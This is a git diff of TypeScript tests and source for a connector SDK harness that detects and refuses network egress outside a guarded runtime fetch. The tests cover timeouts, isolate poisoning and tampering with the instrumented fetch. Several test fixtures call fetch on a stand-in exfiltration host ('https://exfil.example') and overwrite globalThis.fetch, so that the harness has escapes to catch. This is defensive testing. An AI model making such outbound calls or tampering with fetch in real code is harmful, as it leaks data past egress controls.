globalThis.fetch during execution; the assignment was not applied and the trap was kept; observed after case 'capture' settled", + }, + ]); + expect(report.findings[0]).not.toHaveProperty('case'); + expect(report.cases[0]?.findings).toEqual([]); + expect(report.cases[1]?.findings).toEqual([]); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); }); - it('drops an escape observed after the report is built', async () => { + it('refuses a base-transport call retained past the built report and leaves the report unchanged', async () => { // #given const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); let base!: (url: string) => Promise; const subject: ConnectorConformanceFactory = ( runtime, ) => { - base = runtime.policies.fetch as unknown as ( - url: string, - ) => Promise; + base = runtime.policies.fetch as (url: string) => Promise; return quietFactory()(runtime); }; const report = await assertConnectorConformance(subject, { manifest: noEgress, cases: [quietCase], }); - const findingsBefore = report.findings.length; + const findingCountBefore = report.findings.length; const casesBefore = structuredClone(report.cases); // #when expect(() => base('https://exfil.example/after')).toThrow( @@ -1046,13 +1284,15 @@ describe('connector egress conformance', () => { ); // #then expect(report.conformant).toBe(true); - expect(report.findings).toHaveLength(findingsBefore); + expect(report.findings).toHaveLength(findingCountBefore); expect(report.cases).toEqual(casesBefore); expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); }); it('records NETWORK_IO_OUTSIDE_RUNTIME_FETCH without CASE_INVOCATION_FAILED for an uncaught global fetch refusal', async () => { + // #given const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + // #when const report = await rejected( assertConnectorConformance( quietFactory(async () => { @@ -1062,6 +1302,7 @@ describe('connector egress conformance', () => { { manifest: noEgress, cases: [quietCase] }, ), ); + // #then expect(report.conformant).toBe(false); expect(report.findings).toEqual([ expect.objectContaining({ @@ -1070,11 +1311,61 @@ describe('connector egress conformance', () => { reason: expect.stringContaining('globalThis.fetch'), }), ]); + expect(JSON.stringify(report)).not.toContain('ConformanceRefusal'); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it('records a refused escape with a null host when the URL global stops being a constructor', async () => { + // #given + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const savedUrl = Object.getOwnPropertyDescriptor(globalThis, 'URL'); + let refusal: unknown; + // #when + const report = await rejected( + assertConnectorConformance( + quietFactory(async () => { + Object.defineProperty(globalThis, 'URL', { + value: undefined, + writable: true, + configurable: true, + }); + try { + await globalThis.fetch('https://exfil.example'); + } catch (error) { + refusal = error; + } finally { + if (savedUrl !== undefined) { + Object.defineProperty(globalThis, 'URL', savedUrl); + } + } + return {}; + }), + { manifest: noEgress, cases: [quietCase] }, + ), + ); + // #then + expect(refusal).toBeInstanceOf(Error); + expect(report.cases[0]?.escapes).toEqual([ + { entryPoint: 'globalThis.fetch', host: null, refused: true }, + ]); + expect(report.findings).toEqual([ + { + code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH', + case: 'quiet', + reason: + 'connector reached globalThis.fetch outside runtime.fetch (host: unparseable)', + }, + ]); + expect(Object.getOwnPropertyDescriptor(globalThis, 'URL')).toEqual( + savedUrl, + ); expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); }); it('records NETWORK_IO_OUTSIDE_RUNTIME_FETCH without CASE_INVOCATION_FAILED for an uncaught supplied-base refusal', async () => { + // #given const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + // #when const report = await rejected( assertConnectorConformance( (runtime) => @@ -1087,6 +1378,7 @@ describe('connector egress conformance', () => { { manifest: noEgress, cases: [quietCase] }, ), ); + // #then expect(report.conformant).toBe(false); expect(report.findings).toEqual([ expect.objectContaining({ @@ -1099,9 +1391,11 @@ describe('connector egress conformance', () => { }); it('records INSTRUMENTATION_REPLACED for each assigned entry point without duplicating repeated assignments', async () => { + // #given const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); const holder = { fetch: async () => new Response() }; const original = Object.getOwnPropertyDescriptor(holder, 'fetch'); + // #when const report = await rejected( assertConnectorConformance( quietFactory(async () => { @@ -1115,6 +1409,7 @@ describe('connector egress conformance', () => { entryOptions(holder), ), ); + // #then expect(report.conformant).toBe(false); expect(report.findings).toEqual( ['globalThis.fetch', 'holder.fetch'].map((label) => ({ @@ -1283,6 +1578,52 @@ describe('connector egress conformance', () => { expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); }); + it('hands the connector the case input and invocation options by reference', async () => { + // #given + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const input = { marker: 'input' }; + const controller = new AbortController(); + let invocationReads = 0; + let readsWhenBuilt = -1; + const invocation: ConnectorInvocationOptions = { + get abortSignal(): AbortSignal { + invocationReads += 1; + return controller.signal; + }, + }; + let seenInput: unknown; + let seenSignal: unknown; + const subject: ConnectorConformanceFactory = ( + runtime, + ) => { + readsWhenBuilt = invocationReads; + return quietFactory(async (received, context) => { + seenInput = received; + seenSignal = context.abortSignal; + return {}; + })(runtime); + }; + // #when + const report = await assertConnectorConformance(subject, { + manifest: noEgress, + cases: [ + { + name: 'identity', + input, + invocation, + expect: { outcome: 'no-network' }, + }, + ], + }); + // #then + expect(report.conformant).toBe(true); + expect(seenInput).toBe(input); + expect(seenSignal).toBe(controller.signal); + expect(readsWhenBuilt).toBe(0); + expect(invocationReads).toBeGreaterThan(0); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + it.each([ 'case', 'entry point', @@ -1350,6 +1691,23 @@ describe('connector egress conformance', () => { } }); + it('points the published limit at a section and a shipped file that exist', () => { + // #given + const guideUrl = new URL('../../CONNECTORS.md', import.meta.url); + const packageUrl = new URL('../../package.json', import.meta.url); + // #when + const guide = readFileSync(guideUrl, 'utf8'); + const manifest: { files?: string[] } = JSON.parse( + readFileSync(packageUrl, 'utf8'), + ); + // #then + expect(CONFORMANCE_LIMIT).toContain( + 'under Conformance limits in the CONNECTORS.md that ships with this package', + ); + expect(guide).toContain('\n### Conformance limits\n'); + expect(manifest.files).toContain('CONNECTORS.md'); + }); + it('restores the installed entry points when a later install fails', async () => { // #given const saved = globalThis.fetch; @@ -1375,6 +1733,49 @@ describe('connector egress conformance', () => { ]); }); + it('reports an entry point replaced before a later install failure rolls it back', async () => { + // #given + const saved = globalThis.fetch; + const original = async () => new Response(); + const replacement = async () => new Response(); + const holder: { fetch: () => Promise } = { fetch: original }; + const hostile = new Proxy( + {}, + { + getOwnPropertyDescriptor(): never { + Object.defineProperty(holder, 'fetch', { + value: replacement, + writable: true, + enumerable: true, + configurable: true, + }); + throw new Error('descriptor read refused'); + }, + }, + ); + // #when + const report = await rejected( + assertConnectorConformance(quietFactory(), { + ...entryOptions(holder), + entryPoints: [ + { label: 'holder.fetch', target: holder, property: 'fetch' }, + { label: 'hostile.fetch', target: hostile, property: 'fetch' }, + ], + }), + ); + // #then + expect(report.cases[0]?.findings).toEqual([ + expect.objectContaining({ + code: 'INSTRUMENTATION_REPLACED', + reason: expect.stringContaining('holder.fetch'), + }), + expect.objectContaining({ code: 'INSTRUMENTATION_UNSUPPORTED' }), + ]); + expect(report.instrumented).toEqual([]); + expect(holder.fetch).toBe(original); + expect(globalThis.fetch).toBe(saved); + }); + it('deletes globalThis.fetch again when the runtime had none', async () => { // #given const saved = globalThis.fetch; @@ -1531,7 +1932,6 @@ describe('connector egress conformance', () => { }); it('reports an empty case set as no evidence rather than a pass', async () => { - // #given // #when const report = await rejected( assertConnectorConformance(factory(), { manifest, cases: [] }), @@ -1641,7 +2041,6 @@ describe('connector egress conformance', () => { }); it('admits a connector declaring no egress without demanding transport evidence', async () => { - // #given // #when const report = await assertConnectorConformance(quietFactory(), { manifest: noEgress, @@ -1690,18 +2089,20 @@ describe('connector egress conformance', () => { }); it('refuses the run when the probe factory returns undefined', async () => { + // #when const report = await rejected( assertConnectorConformance( () => undefined as unknown as Connector, { manifest, cases: [requestCase] }, ), ); + // #then expect(report.conformant).toBe(false); expect(report.findings).toEqual([ { code: 'SUBJECT_UNREGISTERED', reason: - 'the factory returned undefined that createConnector() did not build', + 'the factory returned undefined that this copy of createConnector() did not build', }, ]); expect(report.cases).toEqual([]); @@ -1721,8 +2122,10 @@ describe('connector egress conformance', () => { {}, ]) { for (const registeredProbe of [false, true]) { + // #given let constructions = 0; const execute = vi.fn(async () => ({})); + // #when const report = await rejected( assertConnectorConformance( (runtime) => { @@ -1733,6 +2136,7 @@ describe('connector egress conformance', () => { { manifest, cases: [requestCase] }, ), ); + // #then expect(execute).not.toHaveBeenCalled(); expect(report.conformant).toBe(false); expect(report.findings).toEqual([ @@ -1750,7 +2154,6 @@ describe('connector egress conformance', () => { }); it('fails when the registered manifest differs from the claimed manifest, and always reports the finite-case limit', async () => { - // #given // #when const mismatch = await rejected( assertConnectorConformance(factory(), { @@ -1776,6 +2179,26 @@ describe('connector egress conformance', () => { expect(matched.limit).toBe(mismatch.limit); }); + it('compares the claimed manifest from a single read of each member', async () => { + // #given + let sideEffectReads = 0; + const claimed: PermissionManifest = { + get sideEffect() { + sideEffectReads += 1; + return sideEffectReads > 1 ? 'write' : 'read'; + }, + egressEnforcement: 'enforced', + }; + // #when + const report = await assertConnectorConformance(quietFactory(), { + manifest: claimed, + cases: [quietCase], + }); + // #then + expect(report.conformant).toBe(true); + expect(sideEffectReads).toBe(1); + }); + it('reports POLICIES_NOT_WIRED naming the member the factory did not wire', async () => { // #given for (const member of ['fetch', 'audit', 'both'] as const) { @@ -1796,6 +2219,13 @@ describe('connector egress conformance', () => { report.findings.find((f) => f.code === 'POLICIES_NOT_WIRED')?.reason, ).toBe(fetchReason); } + if (member === 'audit') { + expect( + report.findings.find((f) => f.code === 'POLICIES_NOT_WIRED')?.reason, + ).toBe( + 'the subject reached its gate boundary but recorded no audit witness on the supplied logger; wire policies.audit', + ); + } } const subject: ConnectorConformanceFactory = ( runtime, @@ -1829,7 +2259,9 @@ describe('connector egress conformance', () => { }); it('preserves the audit witness when the connector mutates the returned event', async () => { + // #given const reports: ConnectorConformanceReport[] = []; + // #when for (const mutate of [false, true]) { reports.push( await assertConnectorConformance( @@ -1865,6 +2297,7 @@ describe('connector egress conformance', () => { ), ); } + // #then expect(reports[0]?.conformant).toBe(true); expect(reports[0]?.cases[0]?.proved).toBe('policy-denied'); expect(reports[1]).toEqual(reports[0]); @@ -2005,8 +2438,10 @@ describe('connector egress conformance', () => { }); it('fails a case whose factory returns undefined after a registered probe', async () => { + // #given let constructions = 0; const execute = vi.fn(async () => ({})); + // #when const report = await rejected( assertConnectorConformance( (runtime) => { @@ -2017,6 +2452,7 @@ describe('connector egress conformance', () => { { manifest, cases: [requestCase] }, ), ); + // #then expect(constructions).toBe(2); expect(execute).not.toHaveBeenCalled(); expect(report.conformant).toBe(false); @@ -2029,7 +2465,7 @@ describe('connector egress conformance', () => { code: 'SUBJECT_UNREGISTERED', case: 'request', reason: - 'the factory returned undefined that createConnector() did not build', + 'the factory returned undefined that this copy of createConnector() did not build', }, ], }); @@ -2037,6 +2473,7 @@ describe('connector egress conformance', () => { }); it('fails a case whose factory returns a plain tool after a registered probe', async () => { + // #given let constructions = 0; const execute = vi.fn(async () => ({})); const tool = createTool({ @@ -2045,6 +2482,7 @@ describe('connector egress conformance', () => { inputSchema: z.object({}), execute, }); + // #when const report = await rejected( assertConnectorConformance( (runtime) => { @@ -2054,6 +2492,7 @@ describe('connector egress conformance', () => { { manifest, cases: [requestCase] }, ), ); + // #then expect(execute).not.toHaveBeenCalled(); expect(report.conformant).toBe(false); expect(report.cases[0]?.proved).toBe('nothing'); @@ -2333,18 +2772,27 @@ describe('connector egress conformance', () => { expect(report.findings).toContainEqual({ code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH', reason: - 'connector reached policies.fetch outside runtime.fetch (host: exfil.example)', + 'connector reached policies.fetch for a host the registered egress declaration does not cover (host: exfil.example)', }); expect(report.findings).toContainEqual( expect.objectContaining({ code: 'FACTORY_FAILED' }), ); + expect(report.findings).not.toContainEqual( + expect.objectContaining({ code: 'CASE_INVOCATION_FAILED' }), + ); + expect(JSON.stringify(report)).not.toContain('ConformanceRefusal'); expect(report.cases).toEqual([]); expect(report).not.toHaveProperty('escapes'); }); it('rejects with a TypeError naming the invalid option path', async () => { // #given - const malformed: { options: unknown; path: string; entry?: string }[] = [ + const malformed: { + options: unknown; + path: string; + entry?: string; + message?: string; + }[] = [ { options: { manifest, @@ -2381,6 +2829,7 @@ describe('connector egress conformance', () => { }, path: 'cases.0.expect.hosts', entry, + message: 'must be a bare hostname', })), { options: { @@ -2392,6 +2841,7 @@ describe('connector egress conformance', () => { { options: { manifest, cases: [requestCase, requestCase] }, path: 'cases.1.name', + message: 'duplicate case name', }, { options: { @@ -2403,6 +2853,7 @@ describe('connector egress conformance', () => { ], }, path: 'entryPoints.1.label', + message: 'duplicate or reserved label', }, ...['globalThis.fetch', 'policies.fetch'].map((label) => ({ options: { @@ -2411,6 +2862,7 @@ describe('connector egress conformance', () => { entryPoints: [{ label, target: {}, property: 'fetch' }], }, path: 'entryPoints.0.label', + message: 'duplicate or reserved label', })), { options: { @@ -2430,6 +2882,7 @@ describe('connector egress conformance', () => { await expect(run).rejects.toThrow(TypeError); await expect(run).rejects.toThrow(`invalid ${invalid.path}`); if (invalid.entry) await expect(run).rejects.toThrow(invalid.entry); + if (invalid.message) await expect(run).rejects.toThrow(invalid.message); await expect(run).rejects.not.toHaveProperty('report'); } }); @@ -2440,8 +2893,7 @@ describe('connector egress conformance', () => { const options = { manifest, cases: [requestCase] }; vi.stubGlobal('setTimeout', undefined); try { - // #when - // #then + // #when / #then await expect( assertConnectorConformance(subject, options), ).rejects.toThrow(TypeError); @@ -2456,8 +2908,7 @@ describe('connector egress conformance', () => { const options = { manifest, cases: [requestCase] }; vi.stubGlobal('URL', undefined); try { - // #when - // #then + // #when / #then await expect( assertConnectorConformance(subject, options), ).rejects.toThrow(TypeError); @@ -2537,8 +2988,22 @@ describe('connector egress conformance', () => { const options = { manifest, cases: [requestCase] }; vi.stubGlobal('clearTimeout', undefined); try { - // #when - // #then + // #when / #then + await expect( + assertConnectorConformance(subject, options), + ).rejects.toThrow(TypeError); + } finally { + vi.unstubAllGlobals(); + } + }); + + it('rejects with a TypeError when the runtime has no TextEncoder global', async () => { + // #given + const subject = factory(); + const options = { manifest, cases: [requestCase] }; + vi.stubGlobal('TextEncoder', undefined); + try { + // #when / #then await expect( assertConnectorConformance(subject, options), ).rejects.toThrow(TypeError); @@ -2747,6 +3212,34 @@ describe('connector egress conformance', () => { expect(holder.fetch).toBe(original); }); + it('restores a writable non-configurable entry point whose target applied the write and then threw', async () => { + // #given + const original = async () => new Response(); + const backing = { fetch: original }; + Object.defineProperty(backing, 'fetch', { + configurable: false, + writable: true, + }); + const saved = Object.getOwnPropertyDescriptor(backing, 'fetch'); + const holder = new Proxy(backing, { + set(target, property, value): never { + Reflect.set(target, property, value); + throw new Error('after mutation'); + }, + }); + // #when + const report = await rejected( + assertConnectorConformance(quietFactory(), entryOptions(holder)), + ); + // #then + expect(report.cases[0]?.findings).toEqual([ + expect.objectContaining({ code: 'INSTRUMENTATION_UNSUPPORTED' }), + ]); + expect(report.instrumented).toEqual([]); + expect(Object.getOwnPropertyDescriptor(backing, 'fetch')).toEqual(saved); + expect(backing.fetch).toBe(original); + }); + it('refuses an entry point whose effective property still resolves to the original', async () => { // #given const original = async () => new Response(); @@ -2913,188 +3406,4 @@ describe('connector egress conformance', () => { expect(Object.getOwnPropertyDescriptor(holder, 'fetch')).toEqual(saved); } }); - - it('restores instrumentation and poisons the isolate when a case name getter starts throwing after validation and the invocation never settles', async () => { - // #given - vi.resetModules(); - const sdk = await import('./index.js'); - const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); - let unreadable = false; - const name = vi.fn(() => { - if (unreadable) throw new Error('case name unreadable'); - return 'validated timeout name'; - }); - const subject = (runtime: ConnectorConformanceRuntime) => - sdk.createConnector({ - id: 'vendor.timeout', - description: 'Case name timeout fixture', - permissions: noEgress, - policies: runtime.policies, - execute: async () => { - unreadable = true; - Object.defineProperty(globalThis, 'fetch', { - value: globalThis.fetch, - writable: true, - configurable: true, - }); - return new Promise(() => {}); - }, - }); - // #when - const error = await sdk - .assertConnectorConformance(subject, { - manifest: noEgress, - cases: [ - { - ...quietCase, - get name() { - return name(); - }, - timeoutMs: 50, - }, - { ...quietCase, name: 'skipped' }, - ], - }) - .catch((error: unknown) => error); - // #then - expect(error).toBeInstanceOf(sdk.ConnectorConformanceError); - if (!(error instanceof sdk.ConnectorConformanceError)) throw error; - expect(error.report.conformant).toBe(false); - expect(error.report.cases[0]?.name).toBe('validated timeout name'); - expect(error.report.findings).toEqual([ - { - code: 'CASE_TIMEOUT', - case: 'validated timeout name', - reason: "case 'validated timeout name' timed out after 50 ms", - }, - { - code: 'INSTRUMENTATION_REPLACED', - case: 'validated timeout name', - reason: - 'globalThis.fetch descriptor differs from the one the harness installed: data property (writable: true, configurable: true)', - }, - { - code: 'CASE_TIMEOUT', - reason: - "skipped cases skipped after CASE_TIMEOUT in 'validated timeout name'", - }, - ]); - expect(name).toHaveBeenCalledTimes(1); - expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); - const later = await sdk - .assertConnectorConformance(subject, { - manifest: noEgress, - cases: [quietCase], - }) - .catch((error: unknown) => error); - expect(later).toBeInstanceOf(sdk.ConnectorConformanceError); - if (!(later instanceof sdk.ConnectorConformanceError)) throw later; - expect(later.report.findings).toEqual([ - { - code: 'ISOLATE_POISONED', - reason: - "case 'validated timeout name' timed out in this isolate; no further run is accepted", - }, - ]); - expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); - }); - - it('reports INSTRUMENTATION_REPLACED and CASE_TIMEOUT when a redefined trap outlives a timed-out case', async () => { - vi.resetModules(); - const sdk = await import('./index.js'); - const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); - const replacement = vi.fn(async () => new Response()); - const run = sdk.assertConnectorConformance( - (runtime) => - sdk.createConnector({ - id: 'vendor.timeout', - description: 'Replacement timeout fixture', - permissions: noEgress, - policies: runtime.policies, - execute: async () => { - Object.defineProperty(globalThis, 'fetch', { value: replacement }); - return new Promise(() => {}); - }, - }), - { - manifest: noEgress, - cases: [ - { ...quietCase, timeoutMs: 50 }, - { ...quietCase, name: 'skipped' }, - ], - }, - ); - const error = await run.catch((error: unknown) => error); - expect(error).toBeInstanceOf(sdk.ConnectorConformanceError); - if (!(error instanceof sdk.ConnectorConformanceError)) throw error; - const report = error.report; - expect(report.conformant).toBe(false); - expect(report.cases).toHaveLength(1); - expect(report.cases[0]).toMatchObject({ - proved: 'nothing', - guardedHosts: [], - decisionCodes: [], - transportCalls: 0, - findings: [ - expect.objectContaining({ code: 'CASE_TIMEOUT' }), - expect.objectContaining({ code: 'INSTRUMENTATION_REPLACED' }), - ], - }); - expect(report.findings).toContainEqual({ - code: 'CASE_TIMEOUT', - reason: "skipped cases skipped after CASE_TIMEOUT in 'quiet'", - }); - expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); - }); - - it('restores instrumentation when a case never settles', async () => { - // #given - const saved = globalThis.fetch; - const execute = vi.fn(async () => new Promise(() => {})); - // #when - const report = await rejected( - assertConnectorConformance(quietFactory(execute), { - manifest: noEgress, - cases: [ - { ...quietCase, name: 'never settles', timeoutMs: 50 }, - { ...quietCase, name: 'skipped' }, - ], - }), - ); - // #then - expect(globalThis.fetch).toBe(saved); - expect(execute).toHaveBeenCalledTimes(1); - expect(report.cases).toHaveLength(1); - expect(report.cases[0]?.proved).toBe('nothing'); - expect(report.cases[0]?.guardedHosts).toEqual([]); - expect(report.cases[0]?.decisionCodes).toEqual([]); - expect(report.cases[0]?.findings).toEqual([ - expect.objectContaining({ code: 'CASE_TIMEOUT' }), - ]); - expect(report.findings).toContainEqual({ - code: 'CASE_TIMEOUT', - reason: "skipped cases skipped after CASE_TIMEOUT in 'never settles'", - }); - }); - - it('refuses a later run in an isolate where a case timed out', async () => { - // #given - const saved = globalThis.fetch; - const subject = vi.fn(factory()); - // #when - const report = await rejected( - assertConnectorConformance(subject, { manifest, cases: [requestCase] }), - ); - // #then - expect(report.findings).toEqual([ - expect.objectContaining({ - code: 'ISOLATE_POISONED', - reason: expect.stringContaining('never settles'), - }), - ]); - expect(report.cases).toEqual([]); - expect(report.instrumented).toEqual([]); - expect(subject).not.toHaveBeenCalled(); - expect(globalThis.fetch).toBe(saved); - }); }); diff --git a/packages/breakwater/src/connector-sdk/egress-conformance.timeout.test.ts b/packages/breakwater/src/connector-sdk/egress-conformance.timeout.test.ts new file mode 100644 index 00000000..ca2b9151 --- /dev/null +++ b/packages/breakwater/src/connector-sdk/egress-conformance.timeout.test.ts @@ -0,0 +1,260 @@ +// SPDX-License-Identifier: Apache-2.0 +// A case that times out poisons its module instance: later runs through that +// instance are refused. The obligations that time out live here, in a file and +// a vitest invocation of their own, rather than beside the harness suite. +import { describe, expect, it, vi } from 'vitest'; +import { + assertConnectorConformance, + type ConnectorConfig, + type ConnectorConformanceCase, + ConnectorConformanceError, + type ConnectorConformanceFactory, + type ConnectorConformanceReport, + type ConnectorConformanceRuntime, + createConnector, + type PermissionManifest, +} from './index.js'; + +const manifest: PermissionManifest = { + sideEffect: 'read', + egress: ['api.vendor.example'], + egressEnforcement: 'enforced', +}; +const noEgress: PermissionManifest = { + sideEffect: 'read', + egressEnforcement: 'enforced', +}; +const requestCase: ConnectorConformanceCase = { + name: 'request', + input: {}, + expect: { outcome: 'guarded-request', hosts: ['api.vendor.example'] }, +}; +const quietCase: ConnectorConformanceCase = { + name: 'quiet', + input: {}, + expect: { outcome: 'no-network' }, +}; + +type Execute = ConnectorConfig['execute']; +function factory( + execute: Execute = async (_input, _context, runtime) => { + await runtime.fetch('https://api.vendor.example'); + return {}; + }, + permissions: PermissionManifest = manifest, +): ConnectorConformanceFactory { + return (runtime) => + createConnector({ + id: 'vendor.read', + description: 'Conformance timeout fixture', + permissions, + policies: runtime.policies, + execute, + }); +} + +function quietFactory(execute: Execute = async () => ({})) { + return factory(execute, noEgress); +} + +async function rejected( + run: Promise, +): Promise { + try { + await run; + } catch (error) { + expect(error).toBeInstanceOf(ConnectorConformanceError); + if (error instanceof ConnectorConformanceError) return error.report; + throw error; + } + throw new Error('expected a non-conformant run'); +} + +describe('connector egress conformance timeouts', () => { + it('restores instrumentation and poisons the isolate when a case name getter starts throwing after validation and the invocation never settles', async () => { + // #given + vi.resetModules(); + const sdk = await import('./index.js'); + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + let unreadable = false; + const name = vi.fn(() => { + if (unreadable) throw new Error('case name unreadable'); + return 'validated timeout name'; + }); + const subject = (runtime: ConnectorConformanceRuntime) => + sdk.createConnector({ + id: 'vendor.timeout', + description: 'Case name timeout fixture', + permissions: noEgress, + policies: runtime.policies, + execute: async () => { + unreadable = true; + Object.defineProperty(globalThis, 'fetch', { + value: globalThis.fetch, + writable: true, + configurable: true, + }); + return new Promise(() => {}); + }, + }); + // #when + const error = await sdk + .assertConnectorConformance(subject, { + manifest: noEgress, + cases: [ + { + ...quietCase, + get name() { + return name(); + }, + timeoutMs: 50, + }, + { ...quietCase, name: 'skipped' }, + ], + }) + .catch((error: unknown) => error); + // #then + expect(error).toBeInstanceOf(sdk.ConnectorConformanceError); + if (!(error instanceof sdk.ConnectorConformanceError)) throw error; + expect(error.report.conformant).toBe(false); + expect(error.report.cases[0]?.name).toBe('validated timeout name'); + expect(error.report.findings).toEqual([ + { + code: 'CASE_TIMEOUT', + case: 'validated timeout name', + reason: "case 'validated timeout name' timed out after 50 ms", + }, + { + code: 'INSTRUMENTATION_REPLACED', + case: 'validated timeout name', + reason: + 'globalThis.fetch descriptor differs from the one the harness installed: data property (writable: true, configurable: true)', + }, + { + code: 'CASE_TIMEOUT', + reason: + "skipped cases skipped after CASE_TIMEOUT in 'validated timeout name'", + }, + ]); + expect(name).toHaveBeenCalledTimes(1); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + const later = await sdk + .assertConnectorConformance(subject, { + manifest: noEgress, + cases: [quietCase], + }) + .catch((error: unknown) => error); + expect(later).toBeInstanceOf(sdk.ConnectorConformanceError); + if (!(later instanceof sdk.ConnectorConformanceError)) throw later; + expect(later.report.findings).toEqual([ + { + code: 'ISOLATE_POISONED', + reason: + "case 'validated timeout name' timed out in this isolate; no further run is accepted", + }, + ]); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it('reports INSTRUMENTATION_REPLACED and CASE_TIMEOUT when a redefined trap outlives a timed-out case', async () => { + // #given + vi.resetModules(); + const sdk = await import('./index.js'); + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const replacement = vi.fn(async () => new Response()); + // #when + const run = sdk.assertConnectorConformance( + (runtime) => + sdk.createConnector({ + id: 'vendor.timeout', + description: 'Replacement timeout fixture', + permissions: noEgress, + policies: runtime.policies, + execute: async () => { + Object.defineProperty(globalThis, 'fetch', { value: replacement }); + return new Promise(() => {}); + }, + }), + { + manifest: noEgress, + cases: [ + { ...quietCase, timeoutMs: 50 }, + { ...quietCase, name: 'skipped' }, + ], + }, + ); + const error = await run.catch((error: unknown) => error); + // #then + expect(error).toBeInstanceOf(sdk.ConnectorConformanceError); + if (!(error instanceof sdk.ConnectorConformanceError)) throw error; + const report = error.report; + expect(report.conformant).toBe(false); + expect(report.cases).toHaveLength(1); + expect(report.cases[0]).toMatchObject({ + proved: 'nothing', + guardedHosts: [], + decisionCodes: [], + transportCalls: 0, + findings: [ + expect.objectContaining({ code: 'CASE_TIMEOUT' }), + expect.objectContaining({ code: 'INSTRUMENTATION_REPLACED' }), + ], + }); + expect(report.findings).toContainEqual({ + code: 'CASE_TIMEOUT', + reason: "skipped cases skipped after CASE_TIMEOUT in 'quiet'", + }); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it('restores instrumentation when a case never settles', async () => { + // #given + const saved = globalThis.fetch; + const execute = vi.fn(async () => new Promise(() => {})); + // #when + const report = await rejected( + assertConnectorConformance(quietFactory(execute), { + manifest: noEgress, + cases: [ + { ...quietCase, name: 'never settles', timeoutMs: 50 }, + { ...quietCase, name: 'skipped' }, + ], + }), + ); + // #then + expect(globalThis.fetch).toBe(saved); + expect(execute).toHaveBeenCalledTimes(1); + expect(report.cases).toHaveLength(1); + expect(report.cases[0]?.proved).toBe('nothing'); + expect(report.cases[0]?.guardedHosts).toEqual([]); + expect(report.cases[0]?.decisionCodes).toEqual([]); + expect(report.cases[0]?.findings).toEqual([ + expect.objectContaining({ code: 'CASE_TIMEOUT' }), + ]); + expect(report.findings).toContainEqual({ + code: 'CASE_TIMEOUT', + reason: "skipped cases skipped after CASE_TIMEOUT in 'never settles'", + }); + }); + + it('refuses a later run in an isolate where a case timed out', async () => { + // #given + const saved = globalThis.fetch; + const subject = vi.fn(factory()); + // #when + const report = await rejected( + assertConnectorConformance(subject, { manifest, cases: [requestCase] }), + ); + // #then + expect(report.findings).toEqual([ + expect.objectContaining({ + code: 'ISOLATE_POISONED', + reason: expect.stringContaining('never settles'), + }), + ]); + expect(report.cases).toEqual([]); + expect(report.instrumented).toEqual([]); + expect(subject).not.toHaveBeenCalled(); + expect(globalThis.fetch).toBe(saved); + }); +}); diff --git a/packages/breakwater/src/connector-sdk/egress-conformance.ts b/packages/breakwater/src/connector-sdk/egress-conformance.ts index a485909e..50dbd8a8 100644 --- a/packages/breakwater/src/connector-sdk/egress-conformance.ts +++ b/packages/breakwater/src/connector-sdk/egress-conformance.ts @@ -1,5 +1,5 @@ // SPDX-License-Identifier: Apache-2.0 -// This module imports only types from ./index.js; runtime collaborators arrive as parameters. +// This module imports only types from ./contracts.js; runtime collaborators arrive as parameters. // Nothing at module scope calls an imported binding. import { z } from 'zod'; @@ -17,13 +17,13 @@ import { assertEgressHostList, egressDomainAllowed, } from '../policy-engine/tool-policy.js'; -import type { EgressFetchBase, EgressResponse } from './egress-fetch.js'; import type { Connector, ConnectorEgressPosture, ConnectorInvocationOptions, PermissionManifest, -} from './index.js'; +} from './contracts.js'; +import type { EgressFetchBase, EgressResponse } from './egress-fetch.js'; export interface ConnectorConformanceCase { readonly name: string; @@ -77,6 +77,12 @@ export interface ConnectorConformanceFinding { readonly case?: string; /** Which supplied policy member was not wired; POLICIES_NOT_WIRED only. */ readonly member?: 'fetch' | 'audit' | 'both'; + /** + * The settled case whose abandoned work produced this run-level finding. + * Present only on a finding observed after that case settled, where `case` + * is absent because the case's own result is already on the report. + */ + readonly observedAfterCase?: string; readonly reason: string; } @@ -96,30 +102,35 @@ export interface ConnectorConformanceCaseResult { /** * Hosts this case reached THROUGH the guard: the hostnames of the calls the * harness-owned base transport allowed, de-duplicated in first-call order. - * A measurement, never a copy of the case's own `expect.hosts` (§5.4 step 22). + * Filled when the case was invoked, did not time out, and verified its + * instrumentation intact at settlement; empty otherwise. + * A measurement, never a copy of the case's own `expect.hosts`. */ readonly guardedHosts: readonly string[]; - /** Refused attempts recorded for this case; run-level escapes are not here (see below). */ + /** Refused attempts recorded for this case; an escape recorded at run level is on `report.findings` instead. */ readonly escapes: readonly ConnectorConformanceEscape[]; /** * The `decisionCode` of every event this case's AuditLogger recorded inside * the invocation window, in record order; `undefined` for an event from an * emitter that stamps none, so a foreign boundary writing to the same logger - * stays visible rather than being filtered away (§3.10). + * stays visible rather than being filtered away. Filled under the + * same condition as `guardedHosts`; empty otherwise. */ readonly decisionCodes: readonly (ConnectorDecisionCode | undefined)[]; - /** Calls that reached the harness-owned base transport, allowed or refused (§3.10). */ 